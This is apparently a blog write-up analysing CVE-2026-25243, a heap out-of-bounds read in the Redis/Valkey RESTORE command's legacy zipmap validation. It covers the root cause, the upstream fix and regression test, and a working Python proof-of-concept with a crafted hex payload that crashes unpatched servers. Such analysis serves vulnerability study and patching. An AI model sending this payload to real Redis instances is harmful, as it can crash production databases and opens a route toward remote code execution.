Skip to main content

CVE-2026-25243 Invalid Memory Access in Redis RESTORE Command May Lead to Remote Code Execution

Author
quanye
Systems software: OS, networking, distributed systems.
Table of Contents

CVE-2026-25243 — Invalid Memory Access in Redis RESTORE Command May Lead to Remote Code Execution
#

The trigger is Redis’s RESTORE command.

  • Normal behavior: RESTORE deserializes an RDB-format serialized value (usually from DUMP) and recreates a key/value in Redis memory.
  • Abnormal behavior: In the C implementation, if an attacker submits a malformed, length-anomalous, or maliciously offset serialized payload to RESTORE, Redis fails to fully validate while parsing. That causes illegal memory access (OOB read/write) and can trigger a heap buffer overflow. With careful heap layout, an attacker may hijack control flow and run arbitrary commands in the Redis server process.

Per CVSS v4 (AV:N/AC:H/AT:N/PR:L/UI:N), exploit requirements:

  • Network access required (AV:N): Attacker must reach the Redis instance over the network.
  • Authentication required (PR:L): Post-auth. Anonymous access is not enough; credentials (password or ACL) are needed.
  • RESTORE permission required: If the account is denied that dangerous command, the bug cannot fire.
  • High attack complexity (AC:H): Stable heap-overflow RCE on modern OS (ASLR, NX, etc.) usually needs skill, often with leaks or other bypasses.

CVE link: https://github.com/redis/redis/security/advisories/GHSA-c8h9-259x-jff4

Affected range
#

All versions

All versions are now fixed

Root-cause analysis
#

We use the Valkey tree for analysis and repro. Background: Valkey history — same roots as Redis, so CVEs in shared components often cross-check across both repos. Understanding this CVE needs light familiarity with Redis data structures and persistence; we will fill that in later.

Repro / analysis environment
#

The bug is fixed; check out the parent of the fix commit:

git checkout fea0b4064^ # 修复前一版的commit

Attack surface overview
#

Layer Component Role
Command RESTORE Accept DUMP-format binary, deserialize to in-memory object
Validation verifyDumpPayload() RDB version + CRC64
Load rdbLoadObject() Branch on 1-byte type
Legacy encoding RDB_TYPE_HASH_ZIPMAP (9) Very old Redis small hash; load converts to listpack
Bug zipmapValidateIntegrity vs zipmapNext Two disagreeing “length-prefix stride” implementations

Call chain (client → OOB read)
#

    A[客户端 RESTORE key ttl payload] --> B[restoreCommand cluster.c]
    B --> C[verifyDumpPayload CRC + RDB版本]
    C --> D[rdbLoadObjectType 读 type 字节]
    D --> E[rdbLoadObject case HASH_ZIPMAP]
    E --> F[zipmapValidateIntegrity deep=1]
    F -->|通过| G[while zipmapNext 转 listpack]
    G --> H[sdstrynewlen 可能越界读]

Core logic in src/cluster.c:

/* RESTORE key ttl serialized-value [REPLACE] [ABSTTL] [IDLETIME seconds] [FREQ frequency] */
// RESTORE command:将rdb格式的序列化值反序列化,重新生成内存中的键值对.
void restoreCommand(client *c) {
	......
	/* Verify RDB version and data checksum. */
	// 验证RDB的格式 算校验和 ---> 这个校验你可以跳过,但是攻击者也可以直接构造一个正确的CRC来注入
    if (verifyDumpPayload(objectGetVal(c->argv[3]), sdslen(objectGetVal(c->argv[3])), &rdbver) == C_ERR) {
        addReplyError(c, "DUMP payload version or checksum are wrong");
        return;
    }

    rioInitWithBuffer(&payload, objectGetVal(c->argv[3]));
    type = rdbLoadObjectType(&payload);
    ...
    // 这里是开始真正加载某个对象
    obj = rdbLoadObject(type, &payload, objectGetVal(key), c->db->id, NULL, RDBFLAGS_NONE, 0);
    if (obj == NULL) {
        addReplyError(c, "Bad data format");
        return;
    }
    ......
}

DUMP/RESTORE payload layout (no REDIS/VALKEY magic — only type + object + footer):

[type 1B][RDB 编码的对象体][RDB version 2B LE][CRC64 8B LE]

verifyDumpPayload can be skipped with DEBUG SET-SKIP-CHECKSUM-VALIDATION yes (lab); a real attacker can compute a correct CRC, as noted in the comments.

Why modern Redis Hash is still affected?
#

Hashes written today are mostly listpack or hashtable, but RDB type 9 is still accepted: the attacker crafts a RESTORE payload directly — no existing zipmap key on the server is required. RDB object types:

/* Map object types to RDB object types. Macros starting with OBJ_ are for
 * memory storage and may change. Instead RDB types must be fixed because
 * we store them on disk. */
enum RdbType {
    RDB_TYPE_STRING = 0,
        RDB_TYPE_LIST = 1,
        RDB_TYPE_SET = 2,
        RDB_TYPE_ZSET = 3,
        RDB_TYPE_HASH = 4,
        RDB_TYPE_ZSET_2 = 5, /* ZSET version 2 with doubles stored in binary. */
        RDB_TYPE_MODULE_PRE_GA = 6, /* Used in 4.0 release candidates */
        RDB_TYPE_MODULE_2 = 7,
        /* Module value with annotations for parsing without \
the generating module being loaded. */
        RDB_TYPE_HASH_ZIPMAP = 9,  // 可以看到这里就是本次漏洞所在,HASH_ZIPMAP 9
        RDB_TYPE_LIST_ZIPLIST = 10,
        RDB_TYPE_SET_INTSET = 11,
        RDB_TYPE_ZSET_ZIPLIST = 12,
        RDB_TYPE_HASH_ZIPLIST = 13,
        RDB_TYPE_LIST_QUICKLIST = 14,
        RDB_TYPE_STREAM_LISTPACKS = 15,
        RDB_TYPE_HASH_LISTPACK = 16, /* Added in RDB 10 (7.0) */
        RDB_TYPE_ZSET_LISTPACK = 17,
        RDB_TYPE_LIST_QUICKLIST_2 = 18,
        RDB_TYPE_STREAM_LISTPACKS_2 = 19,
        RDB_TYPE_SET_LISTPACK = 20, /* Added in RDB 11 (7.2) */
        RDB_TYPE_STREAM_LISTPACKS_3 = 21,
        RDB_TYPE_HASH_2 = 22, /* Hash with field-level expiration, RDB 80 (9.0) */
        RDB_TYPE_LAST
};

Zipmap branch of rdbLoadObject in src/rdb.c:

/* Load an Object of the specified type from the specified file.
 * On success a newly allocated object is returned, otherwise NULL.
 * When the function returns NULL and if 'error' is not NULL, the
 * integer pointed by 'error' is set to the type of error that occurred */
// 从某个特定的文件中加载某个特定类型的对象
// 成功的话,返回在内存中分配的对象,失败就返回NULL
robj * rdbLoadObject(int rdbtype, rio * rdb, sds key, int dbid, int * error, int rdbflags, mstime_t now) {
        ......
        /* Fix the object encoding, and make sure to convert the encoded
         * data type into the base type if accordingly to the current
         * configuration there are too many elements in the encoded data
         * type. Note that we only check the length and not max element
         * size as this is an O(N) scan. Eventually everything will get
         * converted. */
        switch (rdbtype) {
            case RDB_TYPE_HASH_ZIPMAP:
                /* Since we don't keep zipmaps anymore, the rdb loading for these
                 * is O(n) anyway, use `deep` validation. */
                if (!zipmapValidateIntegrity(encoded, encoded_len, 1)) {
                    rdbReportCorruptRDB("Zipmap integrity check failed.");
                    zfree(encoded);
                    objectSetVal(o, NULL);
                    decrRefCount(o);
                    return NULL;
                }
                /* Convert to ziplist encoded hash. This must be deprecated
                 * when loading dumps created by Redis OSS 2.4 gets deprecated. */
                {
                    unsigned char * lp = lpNew(0);
                    unsigned char * zi = zipmapRewind(objectGetVal(o));
                    unsigned char * fstr, * vstr;
                    unsigned int flen, vlen;
                    unsigned int maxlen = 0;
                    hashtable * dupSearchHashtable = hashtableCreate( & setHashtableType);
                    while ((zi = zipmapNext(zi, & fstr, & flen, & vstr, & vlen)) != NULL) {
                        if (flen > maxlen) maxlen = flen;
                        if (vlen > maxlen) maxlen = vlen;
                        /* search for duplicate records */
                        sds field = sdstrynewlen(fstr, flen);
                        int field_added = field && hashtableAdd(dupSearchHashtable, field);
                        if (!field_added || !lpSafeToAdd(lp, (size_t) flen + vlen)) {
                            rdbReportCorruptRDB("Hash zipmap with dup elements, or big length (%u)", flen);
                            hashtableRelease(dupSearchHashtable);
                            if (!field_added) sdsfree(field);
                            zfree(encoded);
                            zfree(lp);
                            objectSetVal(o, NULL);
                            decrRefCount(o);
                            return NULL;
                        }
                        lp = lpAppend(lp, fstr, flen);
                        lp = lpAppend(lp, vstr, vlen);
                    }
                }
                ......
        }

Flow: deep validation passeszipmapNext walk → each field/value into listpack (converting legacy zipmap to listpack). The bug is that validation and iteration disagree on how many bytes a length prefix occupies.

listpack & zipmap
#

listpack was introduced to fix ziplist cascade updates. Brief review — skip if you know them.

listpack
#

Compact storage. Whole listpack layout:

[listpack 总字节数][listpack 元素数量][listpack entry][listpack entry][listpack entry][listpack 结尾标识]

In source this is a contiguous unsigned char *; only when reading do we “interpret” with listpackEntry. From listpack.c:

#define LP_HDR_SIZE 6 /* 32 bit total len + 16 bit number of elements. */
#define LP_HDR_NUMELE_UNKNOWN UINT16_MAX
// ...
#define lpGetTotalBytes(p) \
    (((uint32_t)(p)[0] << 0) | ((uint32_t)(p)[1] << 8) | ((uint32_t)(p)[2] << 16) | ((uint32_t)(p)[3] << 24))

#define lpGetNumElements(p) (((uint32_t)(p)[4] << 0) | ((uint32_t)(p)[5] << 8))

Logical layout:

+----------+----------+----------+----------+----------+----------+-----+ ... +-----+
| total    | total    | total    | total    | numele   | numele   |entry|     |0xFF |
| bytes    | (LE 32)  |          |          | (LE 16)  |          |  1  |     | EOF |
+----------+----------+----------+----------+----------+----------+-----+ ... +-----+
|<------------------------ LP_HDR_SIZE = 6 ------------------------>|<-- entries -->|
  • offset 0–3: total listpack bytes (little-endian uint32_t)
  • offset 4–5: element count; UINT16_MAX means unknown, must scan (LP_HDR_NUMELE_UNKNOWN)
  • from offset 6: entries
  • last byte: LP_EOF (0xFF) Then listpack entry: A. In-memory entry:
[ encoding + payload ... ][ backlen ]
  • encoding + payload: first-byte high bits select int/string and length
  • backlen: variable-length encoding of entry size for lpPrev() reverse walk B. listpackEntry is the logical value after decode; each entry can encode different sizes.
/* Each entry in the listpack is either a string or an integer. */
// 每个entry都被解释称一个字符串或者整数
typedef struct {
    /* When string is used, it is provided with the length (slen). */
    // 这里就指向listpack内部的对应缓冲区
    unsigned char *sval;
    uint32_t slen;
    /* When integer is used, 'sval' is NULL, and lval holds the value. */
    long long lval;
} listpackEntry;

zipmap
#

Early Redis compact string→string map (O(n) lookup). Layout from src/zipmap.c header comments:

[zmlen 1B][field len 前缀][field 数据][value len 前缀][free 1B][value 数据] ... [0xFF END]

Length encoding (ZIPMAP_BIGLEN = 254):

First byte Meaning Prefix width
0–253 length is that value 1 byte
254 (0xFE) followed by 4-byte little-endian uint32 5 bytes
255 ZIPMAP_END
In zipmap.c:
static unsigned int zipmapDecodeLength(unsigned char *p) {
    unsigned int len = *p;
    if (len < ZIPMAP_BIGLEN) return len;
    memcpy(&len, p + 1, sizeof(unsigned int));
    memrev32ifbe(&len);
    return len;
}

static unsigned int zipmapEncodeLength(unsigned char *p, unsigned int len) {
    ...
    return ZIPMAP_LEN_BYTES(len);  /* l<254 → 1 字节,否则 5 字节 */
}

static unsigned int zipmapGetEncodedLengthSize(unsigned char *p) {
    return (*p < ZIPMAP_BIGLEN) ? 1 : 5;  /* 看线上首字节,不看解码值 */
}

static unsigned int zipmapRawKeyLength(unsigned char *p) {
    unsigned int l = zipmapDecodeLength(p);
    return zipmapEncodeLength(NULL, l) + l;  /* 按解码值 l 重算前缀宽度 */
}

Root cause: two strides differ by 4 bytes
#

PoC writes on the first field’s length prefix:

fe 03 00 00 00   → 线上 5 字节编码,解码 l = 3
61 62 63         → "abc"
Phase Function How field prefix advances
Validate zipmapValidateIntegrity s = zipmapGetEncodedLengthSize(p) → sees 0xFE → 5 → advance 5+3=8
Iterate zipmapNextzipmapRawKeyLength l=3zipmapEncodeLength(NULL,3) → 1 → advance 1+3=4
Difference: 4 bytes. On the second zipmapNext, the pointer lands mid-"abc", may treat 0x61 ('a') as length 97, then sdstrynewlen(fstr, 97) heap-OOB-reads past a ~24-byte zipmap buffer (ASan: heap-buffer-overflow in zipmapNext).
Timeline sketch:
buffer: [02][fe 03 00 00 00][a][b][c][03][00][def]...
校验 p ──每次按 5 字节前缀走
迭代 zi ──第一次只按 1 字节前缀走 → 错位 → 误读 0x61 为长度 97

Relation to listpack / RDB
#

  • listpack: conversion target, modern compact hash encoding; this CVE does not break listpack directly — it faults in zipmap iteration before conversion.
  • RDB type 9: RDB_TYPE_HASH_ZIPMAP = 9 in src/rdb.h; RESTORE payload first byte 0x09, then RDB length prefix + zipmap bytes.
  • sanitize_dump_payload: mainly constrains ziplist/listpack; zipmap path was a zipmapValidateIntegrity logic bug, not fixed by turning sanitize off.

From OOB read to RCE
#

Classified CWE-122 (heap invalid access). A single PoC is usually heap-buffer-overflow read; under specific heap layout and follow-on chains, theoretically escalate to write primitive / RCE (official CVSS High). Few public RCE chains so far. For learning, ASan repro + understanding the validation gap is enough.

Reproduction
#

Script below: build payload, optional mutate, send RESTORE over RESP, skip CRC (DEBUG) or stub CRC. Already placed under this folder:

#!/usr/bin/env python3

"""
CVE-2026-25243 PoC — same bytes & flow as tests/unit/dump.tcl (fea0b4064).

DEBUG SET-SKIP-CHECKSUM-VALIDATION 1
RESTORE zipmap_test 0 <binary payload>
DEBUG SET-SKIP-CHECKSUM-VALIDATION 0

Payload contains NUL bytes; must use RESP socket (valkey-cli argv cannot carry it).
Start server like runtest {needs:debug}:
./src/valkey-server --port 6379 --enable-debug-command yes
python3 exploit.py
# or: ./runtest --single tests/unit/dump.tcl -match '*CVE-2026-25243*'
"""
from __future__ import annotations

import argparse
import socket
import sys

# Exact bytes from tests/unit/dump.tcl (36 bytes; footer = 0x50 0x00 + 8-byte CRC)
# 这里就是直接从官方的测试用例中构造的
PAYLOAD = bytes.fromhex(
"091802fe0300000061626303006465660367686903006a6b6cff"
"50000000000000000000"
)

KEY = "zipmap_test"

def resp_command(*args: str | bytes) -> bytes:
parts: list[bytes] = []
for a in args:
if isinstance(a, str):
a = a.encode()
parts.append(f"${len(a)}\r\n".encode() + a + b"\r\n")
return b"*" + str(len(parts)).encode() + b"\r\n" + b"".join(parts)

def run_poc(host: str, port: int) -> str:
"""Same command sequence as dump.tcl CVE-2026-25243 test."""
pipeline = b"".join(
[
resp_command("DEBUG", "SET-SKIP-CHECKSUM-VALIDATION", "1"),
resp_command("RESTORE", KEY, "0", PAYLOAD),
resp_command("DEBUG", "SET-SKIP-CHECKSUM-VALIDATION", "0"),
resp_command("EXISTS", KEY),
]
)
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(pipeline)
return s.recv(65536).decode("utf-8", errors="replace")
  

def main() -> None:
ap = argparse.ArgumentParser(description="CVE-2026-25243 (dump.tcl PoC)")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=6379)
ap.add_argument("--hex", action="store_true", help="Print payload hex and exit")
args = ap.parse_args()

if args.hex:
print(f"payload ({len(PAYLOAD)} bytes): {PAYLOAD.hex()}")
return
  
print(f"[*] payload {len(PAYLOAD)} bytes (tests/unit/dump.tcl)")
print(f"[*] {args.host}:{args.port} via RESP")
  
try:
out = run_poc(args.host, args.port)
except OSError as e:
print(f"[!] connect failed: {e}", file=sys.stderr)
sys.exit(1)
  
print(out)
  
if "DEBUG command not allowed" in out:
print(
"\n[!] 需要开启 DEBUG(与 runtest needs:debug 一致):\n"
" ./src/valkey-server --port 6379 --enable-debug-command yes",
file=sys.stderr,
)
sys.exit(1)
  
if "checksum are wrong" in out:
print(
"\n[!] CRC 仍失败:DEBUG 必须用 1/0(不能用 yes/no,atoi(\"yes\")==0)。",
file=sys.stderr,
)
sys.exit(1)
  
if "Bad data format" in out:
print(
"\n[+] 与 Tcl 一致:Bad data format(已打补丁时正常)。"
"\n 未打补丁 + ASan:请看 server 终端 heap-buffer-overflow @ zipmapNext。"
)
elif "Connection refused" in out or not out.strip():
print("\n[!] server 可能已崩溃(漏洞版 ASan 常见),请查看 server 日志。", file=sys.stderr)
else:
print("\n[?] 对照 server / ASan 输出。")
  
if __name__ == "__main__":
main()

Reproduce:

./src/valkey-server --port 6379 --enable-debug-command yes # 注意,这里需要开启debug指令
python3 exploit.py

On the server you should see a crash — heap overflow:

==357339==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba013ff9d58 at pc 0x5572590288b4 bp 0x7ffcf1d6f870 sp 0x7ffcf1d6f860

Manual hex:

09 18 02 fe 03 00 00 00 61 62 63 03 00 64 65 66 03 67 68 69 03 00 6a 6b 6c ff 50 00 + 8字节 CRC

Fix
#

Fix commit
#

  • Commit: fea0b4064 (PR #3619)
  • Files: src/zipmap.c (tests/unit/dump.tcl regression)

Fix principle
#

In zipmapValidateIntegrity(), add canonical checks on field-name and value length prefixes:

l = zipmapDecodeLength(p);
/* 解码长度 < 254 时,线上编码必须只占 1 字节 */
if (l < ZIPMAP_BIGLEN && s != 1)
    return 0;

Meaning:

  • Legal small lengths must use 1 byte (0x03), not the 5-byte overlong 0xFE + uint32 form (unless decoded value ≥ 254).
  • Validation and zipmapNext agree on prefix width before entering the conversion loop.
  • Small change; valid zipmaps (e.g. unit-test len=512 with 5-byte encoding) still satisfy l >= 254 or s == 5.

Post-fix behavior
#

Item Before After
zipmapValidateIntegrity overlong may pass returns 0, reject
rdbLoadObject may OOB in zipmapNext NULL → Bad data format
ASan heap-buffer-overflow none
EXISTS zipmap_test 0 0
After the fix, re-run the script to verify.